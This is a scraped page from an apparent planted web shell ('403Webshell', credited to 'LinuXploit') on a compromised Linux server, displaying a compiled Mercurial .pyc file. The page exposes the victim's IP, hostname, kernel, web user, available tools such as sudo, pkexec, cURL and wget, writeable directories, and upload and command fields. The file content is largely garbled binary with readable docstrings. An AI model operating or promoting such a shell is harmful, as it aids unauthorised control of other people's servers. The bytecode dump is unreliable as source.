403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/revlogutils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/revlogutils/__pycache__/concurrency_checker.cpython-39.pyc
a

�+�b��@s&ddlmZddlmZddd�ZdS)�)�_)�error�	changelogcs2��dd|���r�dvr dS��fdd�}|S)a�Get a function that checks file handle position is as expected.

    This is used to ensure that files haven't been modified outside of our
    knowledge (such as on a networked filesystem, if `hg debuglocks` was used,
    or writes to .hg that ignored locks happened).

    Due to revlogs supporting a concept of buffered, delayed, or diverted
    writes, we're allowing the files to be shorter than expected (the data may
    not have been written yet), but they can't be longer.

    Please note that this check is not perfect; it can't detect all cases (there
    may be false-negatives/false-OKs), but it should never claim there's an
    issue when there isn't (false-positives/false-failures).
    �debugsrevlog.verifyposition.)slog�warn�failNcs||��|krdStd�}��d|d||��|��dkrX��|d||��|f�n �dkrxt�|||��|f��dS)Ns+%s: file cursor at position %d, expected %dr�
rr)�tellr�log�warnrZRevlogError)Zfh�fnZexpected�msg��uiZvpos��O/usr/lib64/python3.9/site-packages/mercurial/revlogutils/concurrency_checker.py�_checkerszget_checker.<locals>._checker)Zconfig)rZrevlog_namerrrr�get_checkers
rN)r)Zi18nr�rrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit